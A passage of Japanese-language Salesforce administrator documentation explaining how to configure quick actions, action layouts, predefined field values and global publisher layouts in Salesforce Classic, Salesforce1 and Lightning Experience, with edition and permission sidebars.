組織で Chatterが有効化されていない場合でも、Salesforce1またはサードパーティ
アプリケーションのオブジェクト固有のアクションとグローバルアクションを
設定できます。
Chatterが組織で無効になっている場合、非標準アクションのみが Salesforce1のア
クションバー、またはアクションリストを使用するサードパーティアプリケー
ションに表示されます。非標準アクションには、[作成]、[更新]、[活動の記録]、
カスタムアクション、およびモバイルスマートアクションが含まれます。
Salesforce1 またはサードパーティアプリケーションで使用できるようにアクショ
ンを設定するには、次の手順を実行します。
1. オブジェクト固有のアクションまたはグローバルアクションを作成します。
2. ユーザがアクションを使用するときに表示する項目が含まれる、アクション

レイアウトをカスタマイズします。
3. アクションをページレイアウトまたはグローバルパブリッシャーレイアウト

に追加します。
デフォルトアクションが自動的に取引先、ケース、取引先責任者、リード、
商談のページレイアウト、および Winter '14 以降に作成された組織のグローバ
ルパブリッシャーレイアウトに追加されます。

関連トピック:

オブジェクト固有のクイックアクションの作成
グローバルクイックアクションの作成
高度なページレイアウトエディタを使用したアクションのカスタマイズ
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Chatter が有効な場合と無効な場合のアクション

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

アクションは、Chatter またはパブリッシャーのアクションが有効かどうかに関
係なく使用できます。
アクションは、Salesforce フルサイトまたは Salesforce1 で使用できます。組織の
Chatter を有効または無効にするには、[設定] から [クイック検索] ボックスに
「Chatter 設定」と入力し、[Chatter 設定] を選択します。Chatter が有効になっ
ている場合、[パブリッシャーのアクションを有効化]オプションによって、作成
したアクションがChatterパブリッシャーに表示されるかどうかが制御されます。

Chatter オン、ア
クションオン

Chatter オン、ア
クションオフ

Chatter オフ、ア
クションオフ

はいはいはいグローバルアクション
の作成とグローバルア
クションリストのカス
タマイズが可能

はいはいはいオブジェクト固有のア
クションの作成とオブ
ジェクト固有のアク
ションリストのカスタ
マイズが可能

はいはい1いいえSalesforce フルサイトの
[ホーム] ページとChatter

ホームページでのアク
ションの表示

はい2はい1.2いいえSalesforce フルサイトの
オブジェクトフィード
でのアクションの表示

はいはい4いいえ3Salesforce1フィードでア
クションバーを使用可
能

はい6はい6はい5Salesforce1 のレコード
ビューでアクション
バーを使用可能

はいはいはい5Salesforce1 の Lightning

ページでアクション
バーを使用可能

脚注:
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1. パブリッシャーのアクションが有効になっていない場合、Salesforce フルサイトの Chatter パブリッシャーに
は、Chatter 標準アクション (投稿、ファイル、リンク、アンケート、および感謝) のみが表示されます。

2. Chatter フィードは、フィード追跡が有効になっているオブジェクトでのみ Salesforce フルサイトのオブジェ
クトの詳細ページに表示されます。

3. Chatter が無効になっている場合、フィード項目は Salesforce1 で使用できません。
4. Chatter が有効になっていてパブリッシャーのアクションが無効になっている場合、Salesforce1 のアクション

バー、およびアクションリストを使用するサードパーティアプリケーションには、Chatter 標準アクション
と非標準アクションが表示されます。非標準アクションには、作成、更新、活動の記録、カスタムアクショ
ン、およびモバイルスマートアクションが含まれます。

5. Chatter とパブリッシャーのアクションが無効になっている場合、非標準アクションのみがSalesforce1のアク
ションバー、またはアクションリストを使用するサードパーティアプリケーションに表示されます。非標
準アクションには、作成、更新、活動の記録、カスタムアクション、およびモバイルスマートアクション
が含まれます。

6. オブジェクトでフィード追跡が有効になっていない場合、Salesforce1アクションバー、またはアクションリ
ストを使用するサードパーティアプリケーションには非標準アクションのみが表示されます。非標準アク
ションには、[作成]、[更新]、[活動の記録]、カスタムアクション、およびモバイルスマートアクションが含
まれます。

関連トピック:

Chatter が有効な場合のアクションの設定
Chatter が有効ではない場合のアクションの設定
ユーザによるアクションの実行

アクションレイアウトエディタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

オブジェクトレコードページにカスタマイズ可能なページレイアウトがあるの
と同じように、アクションにもカスタマイズ可能なアクションレイアウトがあ
ります。アクションを作成するとき、レイアウトにはデフォルトの項目セット
が入力されます。アクションレイアウトで項目を追加、削除、または並び替え
て、ユーザがアクションの実行時に必要とする重要な項目のみを表示できます。
たとえば、[投稿] アクションにはユーザ入力用の大きなテキストエリアが 1 つだ
け必要です。これに対し、オブジェクト関連の [作成] アクションには複数の項
目を含める必要があり、複数の項目が含まれていないと Salesforce でレコードを
作成できません。
作成したアクションのレイアウトを初めて表示する場合、対象オブジェクトの
デフォルト項目、標準必須項目、全般的に必須のカスタム項目など、特定の項
目は事前入力されます。デフォルトのアクション (Winter '14 以降に作成された組
織で使用可能) には、事前定義の項目セットがあります。
エディタの上部にはパレットがあり、パレットの下にアクションレイアウトが
あります。パレットに含まれるのは、アクションレイアウトに追加可能なアク
ションの対象オブジェクトの項目ですが、サポートされていない次の種別の項目は除外されます。
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• レコードタイプ項目
• 積み上げ集計項目、数式項目、自動採番項目など、参照のみの項目種別
• [作成者] や [最終更新者] など、参照のみのシステム項目
無効な項目

アクションレイアウト上にすでに置かれている項目は、パレットにも表示されますが無効になります。パ
レット上で無効になっている項目を選択すると、Salesforce では、アクションレイアウト上のその項目が強
調表示されます。

項目種別の変換
項目の種別をアクションでサポートされている種別からサポートされていない種別に変換すると、項目は
アクションレイアウトから削除されます。アクションレイアウトを変更せずに項目をサポートされている
種別に再変換した場合、項目は自動的にレイアウトに再追加されます。アクションレイアウトを編集して
から項目をサポートされている種別に再変換した場合は、項目を手動でレイアウトに再追加します。

[活動の記録] アクションに使用されるレイアウト
[活動の記録] アクションでは、次の場合を除き、有効な ToDo のページレイアウトが使用されます。
• 組織にオブジェクトの [活動の記録] カスタムアクションが存在する場合。カスタムアクションでは、そ

れに定義されたカスタムアクションレイアウトが使用されます。
• 組織に [活動の記録] カスタムグローバルアクションが存在する場合。このアクションでは、それに定義

されたカスタムレイアウトが使用されます。ただし、オブジェクトの [活動の記録] カスタムアクション
も存在する場合を除きます (オブジェクトのカスタムアクションにより、カスタムグローバルアクショ
ンが上書きされます)。

単純な [新規 ToDo] フォームを Salesforce1 ユーザに表示するには、[活動設定] でフォームを有効にし、使用す
るレイアウトに [件名] 項目が含まれていることを確認します。

レイアウト監査
Salesforce では、アクションレイアウトのカスタマイズが設定変更履歴で追跡されます。

グローバルアクションのレイアウトを表示および編集するには、[設定] から、[クイック検索]ボックスに「ア
クション」と入力し、[グローバルアクション]を選択してから、アクション名の横にある[レイアウト]をクリッ
クします。オブジェクト固有のアクションのレイアウトを表示および編集するには、[設定] でオブジェクトを
検索してから [ボタン、リンク、およびアクション] に移動します。

アクションレイアウトエディタの考慮事項
アクションを作成するとき、レイアウトにはデフォルトの項目セットが入力されます。アクションレイア
ウトで項目を追加、削除、または並び替えて、ユーザがアクションの実行時に必要とする重要な項目のみ
を表示できます。

関連トピック:

ユーザによるアクションの実行
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アクションレイアウトエディタの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

アクションを作成するとき、レイアウトにはデフォルトの項目セットが入力さ
れます。アクションレイアウトで項目を追加、削除、または並び替えて、ユー
ザがアクションの実行時に必要とする重要な項目のみを表示できます。
• アクションレイアウトに追加できる項目数にハードリミットはありません。

ただし、最適な使いやすさを得るため、項目は 8 個以下にすることをお勧め
します。20 項目以上を追加すると、ユーザの効率が大幅に低下します。レイ
アウトの項目数を減らすには、必須項目の定義済みの値を作成して、その項
目をレイアウトから削除します。項目の定義済みの値は、アクションの詳細
ページから設定できます。

• モバイルスマートアクションには、存在する項目数に関係なく、関連オブ
ジェクトで組織のすべての必須項目が取り込まれます。たとえば、モバイル
スマートアクションバンドルの [新規ケース] アクションには、ケースの必須
項目がすべて含まれます。モバイルスマートアクションの項目は編集できま
せん。オブジェクトのどの項目が必須であるかを変更した場合にのみ、表示
される項目が変わります。

• 必須項目をアクションレイアウトから削除できますが、項目に事前定義値があることを確認してください。
定義済みの値がない場合は、レコードを作成できません。

• リッチテキストエリア項目は、1 列のレイアウトに追加した場合、または 2 列のレイアウトの両方の列にま
たがる項目として追加した場合にのみサポートされます。リッチテキストエリア項目を 2 列のレイアウト
の一方の列にのみ追加した場合、リッチテキストエディタ全体を表示できるだけの領域がないため、項目
はプレーンテキストエリアとして表示されます。

クイックアクションのカスタム成功メッセージ

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

[レコードを作成]、[レコードを更新]、[活動の記録] アクション種別に、アクショ
ンが正常に実行された場合に表示されるカスタムメッセージを作成できます。

Salesforce1および Lightning Experienceで、作成、更新、または活動の記録アクショ
ンが完了すると、アクションによってフィード項目が作成されたかどうかに関係なく、デフォルトの成功メッ
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セージが表示されます。カスタム成功メッセージをこのいずれかのアクションに追加すると、デフォルトメッ
セージの代わりにカスタム成功メッセージが表示されます。
Salesforce Classicでは、カスタム成功メッセージの動作は少し異なります。[レコードを作成] または [活動の記録]

アクションで [フィード項目を作成] を選択すると、Salesforce Classic では成功メッセージは表示されません。
フィード項目が作成されたら、アクションが正常に実行されたことになります。

メモ: 特定のオブジェクトのフィード追跡で [すべての関連オブジェクト]が選択されている場合、クイッ
クアクションで関連オブジェクトが作成されると、[フィード項目を作成] の状況に関係なく常にフィー
ド項目が作成されます。

関連トピック:

オブジェクト固有のクイックアクションの作成
グローバルクイックアクションの作成

高度なページレイアウトエディタを使用したアクションのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

ページレイアウトエディタを使用して、どのアクションが Salesforce および
Salesforce1 に表示されるのかをカスタマイズします。

ヒント:  [ホーム]、[Chatter ホーム]、[Chatter グループ] のようなグローバル
ページのアクションを管理する場合は、「グローバルパブリッシャーレイ
アウト」を参照してください。

アクションを管理するオブジェクトの管理設定から、[ページレイアウト] に移動
します。
アクションは、ページレイアウト上の 2 つのセクションに追加できます。
Salesforce Classic のパブリッシャーのクイックアクション

このセクションには、パレットの [クイックアクション]カテゴリのアクショ
ンのみを含めることができます。このセクションのアクションは、Salesforce

Classic の Chatter パブリッシャーに表示されます。
Salesforce1 および Lightning Experience アクション

このセクションには、パレットの [Salesforce1および Lightning のアクション]カ
テゴリのアクションのみを含めることができます。オブジェクトページレイ
アウトの [Salesforce1および Lightning のアクション]カテゴリには、クイックア
クション、生産性アクション、Lightning コンポーネントアクション、標準お
よびカスタムボタンをはじめ、オブジェクトに使用可能なすべての種類のア
クションが含まれます。このセクションのアクションは、Salesforce1 のアク
ションバーおよびアクションメニューと、Lightning Experienceのさまざまな領
域に表示されます。

ヒント: 表示ラベル、API 名、アクション種別を表示するには、パレットの
アクションにマウスポインタを置きます。

• アクションセクションのカスタマイズしていないデフォルトのアクションを
上書きするには、上書きするテキストをクリックするか、セクションにマウ
スポインタを置き、 をクリックします。
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ページレイアウトの [Salesforce Classicのパブリッシャーのクイックアクション]セクションをカスタマイズし
ていない場合、そのオブジェクトのパブリッシャーに表示されるアクションは、デフォルトのグローバル
パブリッシャーレイアウトに割り当てられたアクションになります。上書きされると、グローバルパブリッ
シャーレイアウトに割り当てられていたアクションに関係なく、アクションはデフォルトの標準アクショ
ン ([投稿]、[ファイル]、[リンク]、[アンケート]、[質問]、[感謝]) になります。
ページレイアウトの [Salesforce1および Lightning Experienceアクション]セクションをカスタマイズしていない
場合、そのオブジェクトのアクションは、デフォルトの事前定義済みアクションのセットになります。
[Salesforce Classic パブリッシャーのクイックアクション] セクションでアクションをカスタマイズしてレイア
ウトを保存している場合、[Salesforce1 および Lightning Experience アクション] セクションは、クリックして上
書きすると、[Salesforce Classic パブリッシャーのクイックアクション] セクションのアクションと、レイアウ
ト上に存在する標準またはカスタムボタンを継承します。

• どちらのセクションでも、アクションをそのセクションのデフォルトに戻すには、セクションにマウスポ
インタを置き、 をクリックします。

関連トピック:

Chatter が有効な場合のアクションの設定
Lightning Experience のアクション
モバイルスマートアクション
高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ
オブジェクト管理設定の検索
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クイックアクション項目の定義済み項目値の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

定義済み項目値を設定す
る
• 「アプリケーションの

カスタマイズ」

アクションを作成する場合、定義済み項目値を使用して項目の値を設定します。
定義済みの値を使用すると、ユーザは一貫性を保ち、より速くより簡単にレコー
ドを作成できます。
アクションレイアウトを設定するときは、使用する項目数が少ないほうが便利
です。ほとんどのユーザ (特にモバイルユーザ) は、多くの必須項目に入力する
ことを好みません。作業をすばやく完了して、次の操作に進むことを希望しま
す。アクションレイアウトで使用する項目数を削減するには、できる限り多く
の項目に定義済みの値を使用します。定義済みの値を設定できる項目が多くな
れば、レイアウトから削除できる項目が増え、アクションを簡単かつ迅速に使
用できるようになります。使いやすさと必須情報の量のバランスを取ってくだ
さい。ただし、必須項目については、アクションレイアウトから削除する場合
は必ず定義済みの値を設定してください。設定しないと、そのアクションをユー
ザが適用するときに、レコードが正しく保存されなくなります。
アクションを使用して作成したオブジェクトレコードの項目に定義済みの値を
設定すると、それらの項目をアクションレイアウトに追加する必要がなくなり
ます。たとえば、ユーザが商談を作成するアクションを設定する場合、[フェー
ズ]項目の定義済みの値として [見込み客] を設定します。そのアクションを使用
してユーザが新規に作成するすべての商談は、[見込み客] フェーズに自動的に割
り当てられます。[フェーズ] 項目には値が自動的に割り当てられるため、この
項目をアクションのレイアウトから削除できます。

ヒント: アクションの項目の定義済みの値は、レコードの項目に設定でき
るデフォルト値とは異なります。項目がアクションに含まれている場合は、
アクションの定義済みの値のセットとデフォルト値のセットの両方を設定
できます。

定義済み項目値を設定する手順は、次のとおりです。
1. [ボタン、リンク、およびアクション] リストおよび [グローバルアクション] リストのアクション名をクリッ

クします。
2. アクションの詳細ページにある [定義済み項目値] リストで [新規] をクリックします。
3. 値を事前に定義する項目を選択します。
4. 項目の値を指定します。
5. [保存]をクリックします。

ヒント: オブジェクト固有のアクションでは、ソースオブジェクトおよびその関連オブジェクトへの参照
を定義済みの値に含めることができます。

クイックアクションの定義済み項目値に関するメモ

関連トピック:

クイックアクションの定義済み項目値に関するメモ
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クイックアクションの定義済み項目値に関するメモ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

クイックアクションの定義済み項目値の設定は、必須項目または [常にレイアウ
トに表示] 項目をアクションレイアウトから削除する場合に特に重要になりま
す。
• アクションレイアウトエディタで使用できる任意の項目に定義済みの値を設

定できます。ただし、次の例外は除きます。
– リッチテキストエリア項目
– 複数選択リスト
– 自動採番項目、数式項目、積み上げ集計項目など、参照のみの項目種別

• 連動選択リストを使用して定義済みの値を設定することはできません。
• アクションの項目に定義済みの値とデフォルトの値セットの両方が含まれて

いる場合、デフォルトの値ではなく定義済みの値がアクションで使用されま
す。

• 定義済みの値を項目に設定して、アクションレイアウトに残しておくと、定
義済みの値は項目のデフォルト値として表示されます。

• 必須項目に定義済みの値が割り当てられていて、アクションレイアウトからその項目を削除した場合、後
で項目の定義済みの値を削除するには、必須項目をアクションレイアウトに再度追加する必要があります。
追加しないと、ユーザはレコードを保存できません。

関連トピック:

クイックアクション項目の定義済み項目値の設定
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グローバルパブリッシャーレイアウト

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトにより、各種 Salesforce インターフェース
に表示されるグローバルアクションが決まります。Salesforce ClassicおよびLightning

Experienceの場合、これらのレイアウトでグローバルページ ([ホーム] ページなど)

や Chatter ページのアクションをカスタマイズします。Lightning Experience では、
これらのレイアウトを使用して [グローバルアクション] メニューの入力も行い
ます。また、Salesforce1 の場合、これらのレイアウトにより、[フィード] ページ
と [人] ページのアクションバーに表示されるアクションが決まります。グロー
バルパブリッシャーレイアウトには、グローバルアクションのみを含めること
ができます。
Salesforce for Outlook では、Group Edition、Contact Manager Edition、Professional Edition

ユーザが Salesforce サイドパネルパブリッシャーをクリックしたときに表示され
るアクションがグローバルパブリッシャーレイアウトで決まります。他のエディ
ションを使用しているすべての Salesforce for Outlookユーザは、Outlook サイドパネ
ルパブリッシャーレイアウトを使用してサイドパネルパブリッシャーを設定で
きます。

メモ: 顧客を含まない Chatter グループには、カスタマイズされたグループ
パブリッシャーレイアウトで上書きされている場合を除き、デフォルトで
グローバルパブリッシャーレイアウトが表示されます。顧客を許可する
Chatter グループの場合は、パブリッシャーに標準アクション ([投稿]、[ファ
イル]、[リンク]、[アンケート]) のみが表示されます。

ユーザプロファイルに応じて異なるグローバルパブリッシャーレイアウトを割
り当てることで、グローバルページでユーザにデフォルトで表示されるアクショ
ンをカスタマイズできます。
グローバルパブリッシャーレイアウトを使用する場合、次の手順が含まれます。

1. グローバルパブリッシャーレイアウトの作成
グローバルパブリッシャーレイアウトにより、各種Salesforceインターフェー
スに表示されるグローバルアクションが決まります。Salesforce Classic および
Lightning Experience の場合、これらのレイアウトでグローバルページ ([ホーム]

ページなど) やChatterページのアクションをカスタマイズします。Lightning Experienceでは、これらのレイア
ウトを使用して [グローバルアクション] メニューの入力も行います。また、Salesforce1 の場合、これらのレ
イアウトにより、[フィード] ページと [人] ページのアクションバーに表示されるアクションが決まります。
グローバルパブリッシャーレイアウトには、グローバルアクションのみを含めることができます。

2. グローバルパブリッシャーレイアウトへのアクションの追加
グローバルパブリッシャーレイアウトに追加したアクションは、[ホーム] ページや Chatter ページなどのペー
ジのほかに、Salesforce1 の [フィード] ページと [人] ページのアクションバーおよびアクションメニューにも
表示されます。
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3. ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
グローバルパブリッシャーレイアウトの作成が完了したら、そのレイアウトをさまざまなユーザプロファ
イルに割り当てることができます。たとえば、Chatter パブリッシャーまたは Salesforce1 でマーケティング
ユーザと標準ユーザに必要なアクションは異なる場合があります。その場合は、複数のグローバルパブリッ
シャーレイアウトを作成し、異なるユーザプロファイルに割り当てて、プロファイルごとにアクションを
カスタマイズします。

関連トピック:

グローバルクイックアクションの作成

グローバルパブリッシャーレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトにより、各種 Salesforce インターフェース
に表示されるグローバルアクションが決まります。Salesforce ClassicおよびLightning

Experienceの場合、これらのレイアウトでグローバルページ ([ホーム] ページなど)

や Chatter ページのアクションをカスタマイズします。Lightning Experience では、
これらのレイアウトを使用して [グローバルアクション] メニューの入力も行い
ます。また、Salesforce1 の場合、これらのレイアウトにより、[フィード] ページ
と [人] ページのアクションバーに表示されるアクションが決まります。グロー
バルパブリッシャーレイアウトには、グローバルアクションのみを含めること
ができます。
1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力

し、[パブリッシャーレイアウト] を選択します。
2. 新しいグローバルパブリッシャーレイアウトを作成するには、[新規]をクリッ

クします。
3. パブリッシャーレイアウトをコピーするには、[既存のグローバルパブリッ

シャーレイアウト] ドロップダウンリストから選択します。
4. 新しいグローバルパブリッシャーレイアウトの名前を入力します。
5. [保存]をクリックします。

関連トピック:

ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
グローバルパブリッシャーレイアウト
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グローバルパブリッシャーレイアウトへのアクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトに追加したアクションは、[ホーム] ページ
や Chatter ページなどのページのほかに、Salesforce1の [フィード] ページと [人] ペー
ジのアクションバーおよびアクションメニューにも表示されます。
頻繁に使用するアクションが各リストの最初に表示されるように、アクション
を並び替えます。

段階的な手順: グローバルパブリッシャーレイアウトをカスタマイズする
アクションは、ページレイアウト上の 2 つのセクションに追加できます。
Salesforce Classic のパブリッシャーのクイックアクション

このセクションには、パレットの [クイックアクション]カテゴリのアクショ
ンのみを含めることができます。このセクションのアクションは、Salesforce

Classic の Chatter パブリッシャーに表示されます。
Salesforce1 および Lightning Experience アクション

このセクションには、パレットの [Salesforce1および Lightning のアクション]カ
テゴリのアクションのみを含めることができます。オブジェクトページレイ
アウトの [Salesforce1および Lightning のアクション]カテゴリには、クイックア
クション、生産性アクション、Lightning コンポーネントアクション、標準お
よびカスタムボタンをはじめ、オブジェクトに使用可能なすべての種類のア
クションが含まれます。このセクションのアクションは、Salesforce1 のアク
ションバーおよびアクションメニューと、Lightning Experienceのさまざまな領
域に表示されます。

1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力
し、[パブリッシャーレイアウト] を選択します。

2. アクションを追加または削除するには、アクションをパレットから、または
パレットにドラッグします。アクションを並び替えるには、アクションを選
択して新しい位置にドラッグします。

3. 終了した時点で [保存] をクリックするか、[適用] をクリックして変更を保存
し、レイアウトの作業を続行します。
保存せずにページを離れると、変更内容が失われます。

例: ユーザがパブリッシャーから直接取引先を作成できるように、Salesforce Classic の [ホーム] ページと
Chatter ページのパブリッシャーに [新規取引先] アクションを追加しましょう。[新規取引先]アクションを
[Salesforce Classic パブリッシャーのクイックアクション] セクションにドラッグして、変更を保存します。

6291

アクション、ボタン、およびリンクの提供コードではなくてクリックによる Salesforce の拡張

https://login.salesforce.com/services/walkthrough?path=%2Fui%2Fsetup%2FSetup%3Fsetupid%3DGlobalActions&tour=customize-global-publisher-layout---simplified


Salesforce Classic の Chatter タブに移動します。[新規取引先] アクションがパブリッシャーに表示されます。

メモ: Lightning Experience の Chatter ページでは、標準の Chatter アクション ([投稿]、[アンケート]、およ
び [質問]) のみがサポートされ、グループが設定されていれば、[お知らせ] アクションもサポートさ
れます。

関連トピック:

Lightning Experience のアクション
ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
Salesforce サイドパネルからレコードを直接作成する営業担当の設定
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ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトの作成が完了したら、そのレイアウトを
さまざまなユーザプロファイルに割り当てることができます。たとえば、Chatter

パブリッシャーまたはSalesforce1でマーケティングユーザと標準ユーザに必要な
アクションは異なる場合があります。その場合は、複数のグローバルパブリッ
シャーレイアウトを作成し、異なるユーザプロファイルに割り当てて、プロファ
イルごとにアクションをカスタマイズします。
1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力

し、[パブリッシャーレイアウト] を選択します。
2. [パブリッシャーレイアウトの割り当て] をクリックします。
3. [割り当ての編集] をクリックします。
4. テーブルで該当する行の任意の場所をクリックし、ユーザプロファイルを選

択します。
5. [使用するパブリッシャーレイアウト] ドロップダウンから、強調表示したプ

ロファイルに割り当てるグローバルパブリッシャーレイアウトを選択しま
す。

6. レイアウトを保存します。

関連トピック:

グローバルパブリッシャーレイアウトへのアクションの追加
グローバルパブリッシャーレイアウト
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Lightning Experience のアクション

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Lightning Experience では、アクションはヘッダーの [グローバルアクション] メ
ニュー、リストビュー項目、およびレコードページ上の数か所に表示されます。
レコードページ上の表示される場所は、アクションの種別に応じて異なります。

[グローバルアクション] メニューのアクション
[グローバルアクション]メニューには、グローバルパブリッシャーレイアウトの
[Salesforce1 および Lightning Experience アクション] セクションにあるグローバルア
クションのサブセットが表示されます。

メニューの項目は、ページレイアウトの [Salesforce1 および Lightning Experience ア
クション] セクションにリストされた順序で表示されます。
Lightning Experience でサポートされていないオブジェクトに関連付けられたアク
ションは、メニューには表示されません。また、[グローバルアクション] メニューでは、標準の Chatter アク
ション ([投稿]、[ファイル]、[アンケート]、[リンク]、[質問]、[感謝]) はサポートされていません。

リストビュー項目のアクション
ToDo オブジェクトを除き、リストビュー項目では標準のボタンアクションのみがサポートされます。ToDo リ
ストビューの項目には、その ToDo で使用可能なアクションの完全なリストが含まれます。
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ホームページのアクション
ホームページでは、[アシスタント] に表示されるおすすめからアクションを探すことができます。たとえば営
業担当が商談に活動予定が含まれていない更新を受信した場合、ToDo または行動をおすすめから直接作成で
きるようになりました。

表示されるアクションは、おすすめの種別によって異なります。次のアクションを使用できます。
• 新規 ToDo

• 新規行動
• 編集
• メール
アクションが完了すると、その関連おすすめはアシスタントには表示されません。

Chatter ページのアクション
Chatter ページには、レコードページの Chatter タブと同様に、Chatter の標準アクションのみが含まれます。デ
フォルトでは、[投稿]、[アンケート]、および [質問] アクションのみがサポートされますが、グループが設定さ
れていれば、[お知らせ] アクションもサポートされます。グローバルパブリッシャーレイアウトの [Salesforce1

および Lightning Experience アクション] セクションから、Chatter ページのアクションを追加、削除、または並べ
替えることができます。

レコードページのアクション
下図は、Lightning Experience の取引先責任者ページのサンプルです。
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メモ: 商談およびリードのワークスペース構造は異なりますが、アクションはそれらのページに同じよう
に表示されます。

レコードの強調表示パネルにあるページレベルのアクションメニュー (1) には、次の項目が表示されます。
• 生産性アクション
• グローバルおよびオブジェクト固有のクイックアクション (ToDo 作成、行動作成、活動記録に関連するもの

を除く)

• 標準ボタン
• カスタム Lightning コンポーネントのクイックアクション
• カスタム Visualforce クイックアクション
• カスタム Visualforce ボタン
• キャンバスアクション
ページレベルのアクションメニューに表示されるアクションは、ページレイアウトの [Salesforce1およびLightning

Experience アクション] セクションにリストされた順序で表示されます。

メモ: JavaScript をコールするカスタムボタンは、Lightning Experience ではサポートされていません。

[活動] タブ (2) には、行動オブジェクトと ToDo オブジェクトを参照する [レコードを作成] クイックアクション
が含まれます。[活動の記録] および [メールを送信] アクションも含まれます。
Chatter タブ (3) には、標準の Chatter アクションが含まれます。デフォルトでは、[投稿]、[アンケート]、および
[質問] アクションのみがサポートされますが、グループが設定されていれば、[お知らせ] アクションもサポー
トされます。一部のオブジェクトでは、Salesforce で事前定義された他の標準Chatterアクションがサポートされ
ます。

関連リストのアクション
関連リスト (4) には、通常、関連リストに表示される標準ボタンが含まれます。通常、これは [新規] ボタンの
みです。

例: [Salesforce1および Lightning Experienceアクション]セクションの [取引先責任者] ページレイアウトに次の
アクションがあるとします。
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クイックアクション ([新規取引先]、[新規行動]、[新規 ToDo])、生産性アクション ([電話])、標準ボタン ([編
集]、[削除]、[コピー]、[メールを送信])、Chatter アクション ([アンケート]、[投稿]) があります。これらのア
クションは、Lightning Experience の取引先責任者レコードページに次のように表示されます。
• ページレベルのアクションメニューのアクションは、クイックアクション、生産性アクション、およ

び標準ボタンが、ページレイアウトにリストされた順序で組み合わされます。[新規行動] と [新規 ToDo]

はクイックアクションですが、ここには表示されません。

• アクションリストの前にある Chatter アクションは、Chatter タブにあります。

• 活動関連アクション ([メール]、[新規行動]、[新規 ToDo]) は、[活動] タブに表示されます。
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Lightning Experience でのアクションの順序
Lightning Experience では、レコードページのアクションは、そのオブジェクトのページレイアウトにある
[Salesforce1 および Lightning Experience アクション] セクションのアクションリストから取得されます。グロー
